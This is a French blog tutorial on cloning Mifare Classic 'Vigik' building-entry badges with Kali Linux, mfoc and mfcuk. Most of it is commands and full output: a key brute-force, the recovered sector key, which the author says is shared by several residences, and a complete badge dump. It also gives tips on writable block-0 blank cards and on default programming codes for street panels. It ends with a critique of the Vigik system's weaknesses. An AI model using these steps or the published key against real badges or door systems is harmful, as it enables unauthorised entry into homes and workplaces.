Les badges Mifare Classic, vous en avez déjà tous vu. Le badge Vigik pour rentrer chez soi ou la carte permettant de passer les portiques au travail utilisent en réalité cette technologie. C’est probablement le plus répandu des badges, notamment grâce à son faible coût d’acquisition. Malheureusement on est à des lieues d’avoir un système qu’on peut considérer comme sécurisé. Voyons comment nous pouvons faire une copie.
Préparation
Vous allez avoir besoin de :
- Un PC. Cela peut être un portable ou un fixe mais il est essentiel que cela ne soit pas une machine virtuelle, le timing étant très important
- Un lecteur de carte NFC. Je possède pour ma part un ACS ACR122U, pas cher et qui fait le taff
- Kali Linux, une distribution de pen-testing. Je vous conseille de copier l’ISO sur une clé USB pour avoir plus de peps au démarrage. Cela requiert toutefois un PC capable de démarrer en UEFI.
Structure d’un badge MIFARE
Les badges mifare sont assimilables à une carte à puce, c’est à dire qu’ils doivent être vu non pas comme une mémoire morte lisible (tel que les bandes magnétiques) sans fil mais plutôt comme un mini-ordinateur aux capacités très réduites. En l’occurrence, l’accès en lecture ou en écriture peut être limité à la soumission d’une clé que le badge va lui-même valider.
Le badge a une capacité de stockage, en général de 1Ko, divisé en 16 secteur. Pour chaque secteur, deux clés sont définies permettant l’accès à ce secteur. Il n’est pas obligatoire d’avoir des clés distinctes pour chaque secteur.
Récupération d’une clé
Nous allons faire appel à mfoc pour dumper le contenu du badge mais cela ne peut se faire qu’à la condition d’avoir au moins une clé permettant d’accéder en lecture aux différents secteurs du badge. Dans le cas où aucune clé n’est connue, on se retrouve dans la situation ci-dessous où mfoc n’est d’aucune utilité.
root@kali:~# mfoc -P 3 -O /dev/null Found Mifare Classic 1k tag ISO/IEC 14443A (106 kbps) target: ATQA (SENS_RES): 00 04 * UID size: single * bit frame anticollision supported UID (NFCID1): 22 dc 2b 61 SAK (SEL_RES): 08 * Not compliant with ISO/IEC 14443-4 * Not compliant with ISO/IEC 18092 Fingerprinting based on MIFARE type Identification Procedure: * MIFARE Classic 1K * MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1 * SmartMX with MIFARE 1K emulation Other possible matches based on ATQA & SAK values: Try to authenticate to all sectors with default keys... Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found [Key: ffffffffffff] -> [................] [Key: a0a1a2a3a4a5] -> [................] [Key: d3f7d3f7d3f7] -> [................] [Key: 000000000000] -> [................] [Key: b0b1b2b3b4b5] -> [................] [Key: 4d3a99c351dd] -> [................] [Key: 1a982c7e459a] -> [................] [Key: aabbccddeeff] -> [................] [Key: 714c5c886e97] -> [................] [Key: 587ee5f9350f] -> [................] [Key: a0478cc39091] -> [................] [Key: 533cb6c723f6] -> [................] [Key: 8fd0a4f256e9] -> [................] Sector 00 - UNKNOWN_KEY [A] Sector 00 - UNKNOWN_KEY [B] Sector 01 - UNKNOWN_KEY [A] Sector 01 - UNKNOWN_KEY [B] Sector 02 - UNKNOWN_KEY [A] Sector 02 - UNKNOWN_KEY [B] Sector 03 - UNKNOWN_KEY [A] Sector 03 - UNKNOWN_KEY [B] Sector 04 - UNKNOWN_KEY [A] Sector 04 - UNKNOWN_KEY [B] Sector 05 - UNKNOWN_KEY [A] Sector 05 - UNKNOWN_KEY [B] Sector 06 - UNKNOWN_KEY [A] Sector 06 - UNKNOWN_KEY [B] Sector 07 - UNKNOWN_KEY [A] Sector 07 - UNKNOWN_KEY [B] Sector 08 - UNKNOWN_KEY [A] Sector 08 - UNKNOWN_KEY [B] Sector 09 - UNKNOWN_KEY [A] Sector 09 - UNKNOWN_KEY [B] Sector 10 - UNKNOWN_KEY [A] Sector 10 - UNKNOWN_KEY [B] Sector 11 - UNKNOWN_KEY [A] Sector 11 - UNKNOWN_KEY [B] Sector 12 - UNKNOWN_KEY [A] Sector 12 - UNKNOWN_KEY [B] Sector 13 - UNKNOWN_KEY [A] Sector 13 - UNKNOWN_KEY [B] Sector 14 - UNKNOWN_KEY [A] Sector 14 - UNKNOWN_KEY [B] Sector 15 - UNKNOWN_KEY [A] Sector 15 - UNKNOWN_KEY [B] mfoc: ERROR: No sector encrypted with the default key has been found, exiting..
C’est à ce moment que mfcuk intervient, dont le rôle est de brute-forcer une clé (A ou B) d’un secteur particulier. L’opération de brute-force a duré 32 minutes.
root@kali:~# time mfcuk -C -R 0:A -s 250 -S 250 -v 3 -O /tmp/vigik.dmp mfcuk - 0.3.8 Mifare Classic DarkSide Key Recovery Tool - 0.3 by Andrei Costin, zveriu@gmail.com, http://andreicostin.com WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd' WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd' WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd' DEFAULT KEYS: ff ff ff ff ff ff a0 a1 a2 a3 a4 a5 b0 b1 b2 b3 b4 b5 00 00 00 00 00 00 4d 3a 99 c3 51 dd 1a 98 2c 7e 45 9a d3 f7 d3 f7 d3 f7 aa bb cc dd ee ff 88 29 da 9d af 76 INFO: Connected to NFC reader: ACS / ACR122U PICC Interface INITIAL ACTIONS MATRIX - UID 22 dc 2b 61 - TYPE 0x08 (MC1K) --------------------------------------------------------------------- Sector | Key A |ACTS | RESL | Key B |ACTS | RESL --------------------------------------------------------------------- 0 | 000000000000 | . R | . . | 000000000000 | . . | . . 1 | 000000000000 | . . | . . | 000000000000 | . . | . . 2 | 000000000000 | . . | . . | 000000000000 | . . | . . 3 | 000000000000 | . . | . . | 000000000000 | . . | . . 4 | 000000000000 | . . | . . | 000000000000 | . . | . . 5 | 000000000000 | . . | . . | 000000000000 | . . | . . 6 | 000000000000 | . . | . . | 000000000000 | . . | . . 7 | 000000000000 | . . | . . | 000000000000 | . . | . . 8 | 000000000000 | . . | . . | 000000000000 | . . | . . 9 | 000000000000 | . . | . . | 000000000000 | . . | . . 10 | 000000000000 | . . | . . | 000000000000 | . . | . . 11 | 000000000000 | . . | . . | 000000000000 | . . | . . 12 | 000000000000 | . . | . . | 000000000000 | . . | . . 13 | 000000000000 | . . | . . | 000000000000 | . . | . . 14 | 000000000000 | . . | . . | 000000000000 | . . | . . 15 | 000000000000 | . . | . . | 000000000000 | . . | . . VERIFY: Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f ACTION RESULTS MATRIX AFTER VERIFY - UID 22 dc 2b 61 - TYPE 0x08 (MC1K) --------------------------------------------------------------------- Sector | Key A |ACTS | RESL | Key B |ACTS | RESL --------------------------------------------------------------------- 0 | 000000000000 | . R | . . | 000000000000 | . . | . . 1 | 000000000000 | . . | . . | 000000000000 | . . | . . 2 | 000000000000 | . . | . . | 000000000000 | . . | . . 3 | 000000000000 | . . | . . | 000000000000 | . . | . . 4 | 000000000000 | . . | . . | 000000000000 | . . | . . 5 | 000000000000 | . . | . . | 000000000000 | . . | . . 6 | 000000000000 | . . | . . | 000000000000 | . . | . . 7 | 000000000000 | . . | . . | 000000000000 | . . | . . 8 | 000000000000 | . . | . . | 000000000000 | . . | . . 9 | 000000000000 | . . | . . | 000000000000 | . . | . . 10 | 000000000000 | . . | . . | 000000000000 | . . | . . 11 | 000000000000 | . . | . . | 000000000000 | . . | . . 12 | 000000000000 | . . | . . | 000000000000 | . . | . . 13 | 000000000000 | . . | . . | 000000000000 | . . | . . 14 | 000000000000 | . . | . . | 000000000000 | . . | . . 15 | 000000000000 | . . | . . | 000000000000 | . . | . . RECOVER: 0 ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 0 auths: 0 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 1 auths: 1 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 2 auths: 2 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 3 auths: 3 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 4 auths: 4 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 4 auths: 5 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 5 auths: 6 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 5 auths: 7 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 5 auths: 8 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 5 auths: 9 ----------------------------------------------------- ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 5 auths: 10 ----------------------------------------------------- [...] ----------------------------------------------------- Let me entertain you! uid: 22dc2b61 type: 08 key: 000000000000 block: 03 diff Nt: 80 auths: 2237 ----------------------------------------------------- INFO: block 3 recovered KEY: 8829da9daf34 1 2 3 4 5 6 7 8 9 a b c d e f ACTION RESULTS MATRIX AFTER RECOVER - UID 22 dc 2b 61 - TYPE 0x08 (MC1K) --------------------------------------------------------------------- Sector | Key A |ACTS | RESL | Key B |ACTS | RESL --------------------------------------------------------------------- 0 | 8829da9daf76 | . R | . R | 000000000000 | . . | . . 1 | 000000000000 | . . | . . | 000000000000 | . . | . . 2 | 000000000000 | . . | . . | 000000000000 | . . | . . 3 | 000000000000 | . . | . . | 000000000000 | . . | . . 4 | 000000000000 | . . | . . | 000000000000 | . . | . . 5 | 000000000000 | . . | . . | 000000000000 | . . | . . 6 | 000000000000 | . . | . . | 000000000000 | . . | . . 7 | 000000000000 | . . | . . | 000000000000 | . . | . . 8 | 000000000000 | . . | . . | 000000000000 | . . | . . 9 | 000000000000 | . . | . . | 000000000000 | . . | . . 10 | 000000000000 | . . | . . | 000000000000 | . . | . . 11 | 000000000000 | . . | . . | 000000000000 | . . | . . 12 | 000000000000 | . . | . . | 000000000000 | . . | . . 13 | 000000000000 | . . | . . | 000000000000 | . . | . . 14 | 000000000000 | . . | . . | 000000000000 | . . | . . 15 | 000000000000 | . . | . . | 000000000000 | . . | . . INFO: saved extended tag dump file to '/tmp/vigik.dmp' real 23m23,994s user 0m3,922s sys 0m10,084s
Attention, il existe aujourd’hui des badges (Mifare DESFire EV1 par exemple) qui résistent au brute-force. C’est le cas de mon badge pour accéder à mon bureau. On les distingue par le fait que la valeur de diff Nt est très proche voire même identique à celle de auths (qui compte le nombre d’essais). Si c’est le cas, mfcuk ne sera d’aucune utilité. Il semble y avoir une solution à ces badges mais je dois pousser plus loin mes recherches je n’ai plus de badge DESFIRE EV1 pour tester.
Dump du badge MIFARE
Désormais en possession d’une clé, nous allons pouvoir dumper le contenu de la carte dans un fichier.
root@kali:~# time mfoc -O /tmp/vigik.mfd -k 8829da9daf34 The custom key 0x8829da9daf34 has been added to the default keys Found Mifare Classic 1k tag ISO/IEC 14443A (106 kbps) target: ATQA (SENS_RES): 00 04 * UID size: single * bit frame anticollision supported UID (NFCID1): 22 dc 2b 61 SAK (SEL_RES): 08 * Not compliant with ISO/IEC 14443-4 * Not compliant with ISO/IEC 18092 Fingerprinting based on MIFARE type Identification Procedure: * MIFARE Classic 1K * MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1 * SmartMX with MIFARE 1K emulation Other possible matches based on ATQA & SAK values: Try to authenticate to all sectors with default keys... Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found [Key: 8829da9daf34] -> [xxxxxxxxxxxxxxxx] [Key: ffffffffffff] -> [xxxxxxxxxxxxxxxx] [Key: a0a1a2a3a4a5] -> [xxxxxxxxxxxxxxxx] [Key: d3f7d3f7d3f7] -> [xxxxxxxxxxxxxxxx] [Key: 000000000000] -> [xxxxxxxxxxxxxxxx] [Key: b0b1b2b3b4b5] -> [xxxxxxxxxxxxxxxx] [Key: 4d3a99c351dd] -> [xxxxxxxxxxxxxxxx] [Key: 1a982c7e459a] -> [xxxxxxxxxxxxxxxx] [Key: aabbccddeeff] -> [xxxxxxxxxxxxxxxx] [Key: 714c5c886e97] -> [xxxxxxxxxxxxxxxx] [Key: 587ee5f9350f] -> [xxxxxxxxxxxxxxxx] [Key: a0478cc39091] -> [xxxxxxxxxxxxxxxx] [Key: 533cb6c723f6] -> [xxxxxxxxxxxxxxxx] [Key: 8fd0a4f256e9] -> [xxxxxxxxxxxxxxxx] Sector 00 - FOUND_KEY [A] Sector 00 - FOUND_KEY [B] Sector 01 - FOUND_KEY [A] Sector 01 - FOUND_KEY [B] Sector 02 - FOUND_KEY [A] Sector 02 - FOUND_KEY [B] Sector 03 - FOUND_KEY [A] Sector 03 - FOUND_KEY [B] Sector 04 - FOUND_KEY [A] Sector 04 - FOUND_KEY [B] Sector 05 - FOUND_KEY [A] Sector 05 - FOUND_KEY [B] Sector 06 - FOUND_KEY [A] Sector 06 - FOUND_KEY [B] Sector 07 - FOUND_KEY [A] Sector 07 - FOUND_KEY [B] Sector 08 - FOUND_KEY [A] Sector 08 - FOUND_KEY [B] Sector 09 - FOUND_KEY [A] Sector 09 - FOUND_KEY [B] Sector 10 - FOUND_KEY [A] Sector 10 - FOUND_KEY [B] Sector 11 - FOUND_KEY [A] Sector 11 - FOUND_KEY [B] Sector 12 - FOUND_KEY [A] Sector 12 - FOUND_KEY [B] Sector 13 - FOUND_KEY [A] Sector 13 - FOUND_KEY [B] Sector 14 - FOUND_KEY [A] Sector 14 - FOUND_KEY [B] Sector 15 - FOUND_KEY [A] Sector 15 - FOUND_KEY [B] We have all sectors encrypted with the default keys.. Auth with all sectors succeeded, dumping keys to a file! Block 63, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 62, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 61, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 60, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 59, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 58, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 57, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 56, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 55, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 54, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 53, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 52, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 51, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 50, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 49, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 48, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 47, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 46, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 45, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 44, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 43, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 42, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 41, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 40, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 39, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 38, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 37, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 36, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 35, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 34, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 33, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 32, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 31, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 30, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 29, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 28, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 27, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 26, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 25, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 24, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 23, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 22, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 21, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 20, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 19, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 18, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 17, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 16, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 15, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 14, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 13, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 12, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 11, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 10, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 09, type A, key 8829da9daf34 :00 01 00 01 4d 54 24 1a 4c 54 24 1a 01 00 00 00 Block 08, type A, key 8829da9daf34 :30 30 30 33 00 00 00 00 00 00 00 00 00 00 00 00 Block 07, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 06, type A, key 8829da9daf34 :00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 Block 05, type A, key 8829da9daf34 :d0 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 Block 04, type A, key 8829da9daf34 :00 00 00 00 2b 24 54 1a 7d 00 80 03 00 ac d1 6c Block 03, type A, key 8829da9daf34 :00 00 00 00 00 00 7f 07 55 00 00 00 00 00 00 00 Block 02, type A, key 8829da9daf34 :22 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Block 01, type A, key 8829da9daf34 :01 06 21 00 01 22 00 00 00 00 00 00 00 00 00 00 Block 00, type A, key 8829da9daf34 :22 dc 2b 61 fb 44 02 00 d0 9e 2e 12 54 00 22 14 real 0m8,174s user 0m0,131s sys 0m0,268s
J’ai pu avoir en main plusieurs badges vigik résidentiel provenant de plusieurs résidences. Il est triste de constater que la clé A était la même. Autrement dit désormais en possession de cette clé, j’ai de bonnes chances de copier un badge vigik non pas en 30 minutes mais en 8 secondes. L’opération se fait également très bien avec un smartphone Android rooté.
Il ne reste plus qu’à se procurer une carte MIFARE Classic 1k vierge en s’assurant que le bloc 0 soit inscriptible, sachant qu’il s’agit du bloc dans lequel est contenu le numéro de série (ou UID) du badge, comme vous pouvez le constatez dans la capture ci-dessus.
Un peu de politique
Historique
L’article L.111-6-3 du code de la construction et de l’habitation créé par la loi n° 2005-516 du 20 mai 2005 rend obligatoire l’accès aux parties communes des opérateurs : La Poste ainsi que les autres opérateurs titulaires de l’autorisation prévue à l’article L. 3 du code des postes et des communications électroniques, ainsi que les porteurs de presse.
Si vous choisissez de ne pas équiper un immeuble du système VIGIK®, vous avez l’obligation juridique de trouver une alternative pour garantir l’accès de ces opérateurs.
Certains opérateurs ne sont pas tenus d’accepter des solutions spécifiques (par exemple, La Poste n’accepte pas de badge résident de digicodes ou clés).
Dit autrement, les immeubles ont depuis 2005 obligations d’installer le système VIGIK car La Poste n’acceptera rien d’autre. Le système résidentiel VIGIK a été craqué en 2008, à une période où les badges résidentiels étaient loin d’être déployés partout. 10 ans plus tard, rien n’a changé, il est de commune mesure d’installer ce système dans les nouveaux immeubles en construction.
Le VIGIK opérateur
Dans l’historique, j’ai précisé résidentiel car les badges VIGIK des opérateurs reposent sur un mode de fonctionnement différent. Les opérateurs disposent dans leur locaux d’une borne leur permettant de « charger leur badge pour ~24h ». Voler le pass d’un facteur n’aura donc qu’un intérêt assez limité.
Au niveau des résidences, le système VIGIK est équipé de l’heure ainsi que de la partie publique d’une clé RSA de 1024 bits. Toutes les résidences en France ont cette même clé installée.
Les opérateurs ont dans leur locaux un dispositif ayant un accès limitée (du moins je l’espère) à la partie privée de la clé RSA dont le but est de générer une signature dans le badge des opérateurs valable 1 jour, signature qui va pouvoir être validée par le système VIGIK installé dans les résidences. La clé RSA a été extraite mais elle reste à ce jour et à ma connaissance toujours inviolée.
Pour résumer
Nous avons vu à quel point le système basé sur les badge MIFARE Classic était vulnérable. Mais est-ce le seul ? Ci-dessous une liste des points noir de ce genre d’installation, qui je le rappelle est presque devenu une norme en France :
- Le système VIGIK résidentiel n’est pas un système de sécurité mais une commodité pour rentrer dans l’immeuble
- La remarque vaut aussi pour les entreprises utilisant des badges MIFARE Classic (et à confirmer pour les badges EV1)
- L’accès au mode de programmation des plaques de rue est beaucoup trop facile, notamment parce que le code d’accès est souvent celui par défaut (un peu comme les carte SIM, sauf qu’il s’agit là d’une fainéantise d’un professionnel censé respecter les règles de l’art…). À défaut de cloner un badge, on peut à la place enregistrer son propre badge en base, cela ne prend moins d’une minute et un peu plus d’une dizaine de touches à presser.